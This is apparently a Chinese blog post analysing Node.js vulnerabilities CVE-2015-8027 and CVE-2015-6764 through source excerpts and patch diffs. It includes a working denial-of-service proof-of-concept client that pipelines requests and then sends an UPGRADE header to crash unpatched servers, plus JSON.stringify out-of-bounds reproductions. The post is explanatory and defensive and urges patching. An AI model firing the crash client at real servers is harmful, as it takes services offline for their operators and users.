原作者:淩恒
前言
Node.js 在 4 号放出了一個重要的更新,看了下
更新日志,主要修複的是一些安全性的漏洞,包括 CVE-2015-8027 和 CVE-2015-6764 這兩個漏洞。在更新釋出後,簡單看了下漏洞的細節,在這裡簡單介紹下。
CVE-2015-8027 Denial of Service Vulnerability
這個漏洞看起來應該是 Node.js 開發者書寫時的疏忽,在調用
parser.pause
方法時,沒有判斷
parser
是否存在,導緻在特定情況運作時底層抛出
TypeError
錯誤,使程序崩潰。
主要涉及到下面的幾個關鍵字:
- highWaterMark
- http method: UPGRADE
- response 處理
它是一個在建立流時可以修改大小的參數,作用跟字面意思差不多,高水位線。在 Readable Stream 中,用來控制底層讀取前緩沖區資源的最多位元組數;在 Writable Steam 中,用來控制寫入時待處理緩沖區中最多存放的位元組數。超過這個值時,會将 Steam 置為 pause 狀态,這個操作便是觸發這個漏洞的關鍵。看下代碼,在
_http_server.js#454 parserOnIncoming方法中:
function parserOnIncoming(req, shouldKeepAlive) {
...
if (!socket._paused) {
var needPause = socket._writableState.needDrain ||
outgoingData >= socket._writableState.highWaterMark;
if (needPause) {
socket._paused = true;
socket.pause();
}
}
...
}
值得一提的是,這個值的調整,對 I/O 操作有一定的優化能力。它預設的值是 16KB,對于對象流則為 16。如果這個值設定的過小,會導緻系統調用過于頻繁;如果設定過大,那麼會導緻資源配置設定的浪費,是以修改需要謹慎。
UPGRADE
這是一個 HTTP/1.1 标準中提出的一種頭部方法。當用戶端發送 UPGRADE,并指定其他的通訊協定,如果伺服器支援,則必須傳回 101,并且将通訊協定進行轉換。那麼為什麼它會用來觸發這漏洞呢?
因為在 http server 更新協定時,會把目前用到的 parser 釋放掉,導緻 socket.parser 就變成了 null,自然在後面調用時就會出錯。具體代碼位置在
_http_server.js#371 onParserExecuteCommonfunction onParserExecuteCommon(ret, d) {
if (ret instanceof Error) {
debug('parse error');
socket.destroy(ret);
} else if (parser.incoming && parser.incoming.upgrade) {
...
parser.finish();
freeParser(parser, req, null);
parser = null;
...
}
if (socket._paused && socket.parser) {
debug('pause parser');
socket.parser.pause();
}
}
是以,它就成了觸發條件。
你可能會想,我的應用中沒有用到 UPGRADE 方法,應該不會有影響吧?這其實跟你的應用中是否用了 UPGRADE 沒有什麼關系,這是在底層處理收到請求的過程中發生的錯誤,還沒有到應用代碼執行的層面,是以不是應用可控的。即使你監聽了
upgrade
事件,它也是異步的,而且你也隻是處理是否接受 UPGRADE 以及後續處理(比如:切斷連接配接)的問題,一樣會觸發報錯。
Response 處理
Node.js 在處理 Http 請求的響應時,使用了一個
outgoing
數組。在請求進來時,會建立一個
ServerResponse
對象,并将它
push
到
outgoing
數組中。當響應内容過多時,會發生排隊的情況,當資料量超過
highWaterMark
時,就會導緻 socket 的 pause。這裡面涉及到的更多的内容,以後再細說。這部分相關代碼,在
:
function parserOnIncoming(req, shouldKeepAlive) {
...
var res = new ServerResponse(req);
res._onPendingData = updateOutgoingData;
...
if (socket._httpMessage) {
outgoing.push(res);
} else {
res.assignSocket(socket);
}
...
}
實戰
根據上面的介紹,可以看到,這個漏洞的觸發過程大緻如下:
- 向服務端快速的發送大量請求,使服務端對應 socket 觸發 pause 狀态。
- 發送 UPGRADE 請求,觸發服務端進入 upgrade 處理。
我們先來寫一個 server,當有請求來的時候,會寫一個大小 1024 的 Buffer,這個大小随你控制,用 1024 比較好計算。
'use strict';
const http = require('http');
const PORT = 8989;
const chunk = new Buffer(1024);
chunk.fill('X');
var server = http.createServer(function(req, res) {
res.end(chunk);
}).listen(PORT);
接下來寫一個 client,用來發送請求,這裡我們使用 net 子產品來連接配接伺服器并傳輸資料。在 client 裡,要快速的發送請求,因為預設的 highWaterMark 大小是 16KB,是以我們發送 17 次請求,這樣剛好超過它,觸發 socket 的 pause 狀态。然後發送一個 UPGRADE 請求,這樣就會觸發漏洞,導緻伺服器崩潰,具體代碼如下:
'use strict';
const net = require('net');
var socket = net.connect(8989);
for (var i = 0; i < 17; i ++) {
socket.write('GET / HTTP/1.1\r\n\r\n');
}
socket.write(
'GET / HTTP/1.1\r\nConnection: upgrade\r\nUpgrade: ws\r\n\r\n'
);
一般 Node.js 應用會傳回頁面,這個也要寫入 Buffer 的,是以也會出現寫入超量的問題。用上面的代碼測試了幾個未更新的應用,會導緻應用程序退出,但線上應用一般會有程序守護,是以在量小的情況下,影響還可控。如果量很大,即使應用不會退出,但 worker 程序一直重新開機,應用的狀态也不會良好。
另外,也可以在 Nginx 層面對連入請求進行過濾,是可以保護後面的 Node.js 應用的。
注意:請勿亂用
CVE-2015-6764 V8 Out-of-bounds Access Vulnerability
這是 V8 的一個 bug,跟 Node.js 的實作并沒有關系,它涉及到的方法是
JSON.stringify
。在這個方法的實作中,會用到被轉換對象的 getter 和 toJSON 兩個方法,如果我們重載了對象的這兩個方法,那麼就會影響到轉換的結果。對于數組來說,如果在其中改變了數組的長度,那麼最後結果會發生什麼呢?先來看個例子:
var array = [];
for (var i = 0; i < 10; i++) array[i] = i;
var obj = {
toJSON: function() {
array.length = 1;
return 'obj';
}
};
array[0] = obj;
JSON.stringify(array);
這段代碼在這個漏洞沒有修複之前,運作結果類似這種:
'["obj",null,128,3,4,5,6,7,8,9]'
顯然,這個結果是錯誤的,因為 array 的長度變成了 1,後面的内容就不應該出現了。
在這個 bug 修複後的執行結果是這樣的:
'["obj",null,null,null,null,null,null,null,null,null]'
同樣的,重載 getter 方法:
var array = [];
for (var i = 0; i < 10; i++) array[i] = i;
var obj = {
get value() {
array.length = 1;
return "obj";
}
};
array[0] = obj;
JSON.stringify(array);
//修複前
'[{"value":"obj"},null,128,3,4,5,6,7,8,9]'
//修複後
'[{"value":"obj"},null,null,null,null,null,null,null,null,null]'
更多測試用例,請看
regress-crbug-554946.js。
在 V8 這個方法的之前的實作中,隻是簡單的周遊元素,然後根據對應的類型,進行相應的轉換,形成結果。
[ [76a552]json-stringifier.h#L429 ](
https://github.com/nodejs/node/blob/76a552c938e43eebbd0795e974f71250529f8cf5/deps/v8/src/json-stringifier.h#L429)BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(
Handle<JSArray> object) {
...
uint32_t length = 0;
CHECK(object->length()->ToArrayLength(&length));
builder_.AppendCharacter('[');
Result result = SerializeJSArraySlow(object, length);
...
}
修正之後,多了對數組類型的判斷,根據不同的類型,采取不同的轉換方法:
[[master]json-stringifier.h#430](
https://github.com/nodejs/node/blob/master/deps/v8/src/json-stringifier.h#L430)BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(
Handle<JSArray> object) {
...
switch(object->GetElementsKind()) {
case FAST_SMI_ELEMENTS: {
...
}
case FAST_DOUBLE_ELEMENTS: {
...
}
case FAST_ELEMENTS: {
Handle<Object> old_length(object->length(), isolate_);
for (uint32_t i = 0; i < length; i++) {
if (object->length() != *old_length ||
object->GetElementsKind() != FAST_ELEMENTS) {
Result result = SerializeJSArraySlow(object, i, length);
if (result != SUCCESS) return result;
break;
}
if (i > 0) builder_.AppendCharacter(',');
Result result = SerializeElement(
isolate_,
Handle<Object>(FixedArray::cast(object->elements())->get(i),
isolate_),
i);
if (result == SUCCESS) continue;
if (result == UNCHANGED) {
builder_.AppendCString("null");
} else {
return result;
}
}
break;
}
default: {
...
Result result = SerializeJSArraySlow(object, 0, length);
...
}
}
主要是在
FAST_ELEMENTS
這個類型上,它會在周遊是動态的計算數組的長度,如果數組長度發生變化,會根據新的長度,直接運作
SerializeJSArraySlow
方法得到最終結果,否則會一個一個元素的處理。
同時,
SerializeJSArraySlow
方法也做了修改,增加了一個參數
start
用來辨別周遊的起始值,不會每次都從 0 的位置開始周遊。
總體看來,這個 bug 的觸發條件還是挺複雜的,一般很少會遇到。
總結
- 細節對于代碼品質,應用穩定性來說,很重要。特别是提供給别人用的庫,一定要考慮全面。
- 很多異常的觸發是很巧妙的,這是一個比較困擾的問題,測試貢獻的能力也有限,不過也不能忽略測試,還是很重要的。
- 請及時更新到修複後的版本,v5.1.1、v4.2.3、v0.12.9、alinode-v1.2.1、alinode-v1.2.2。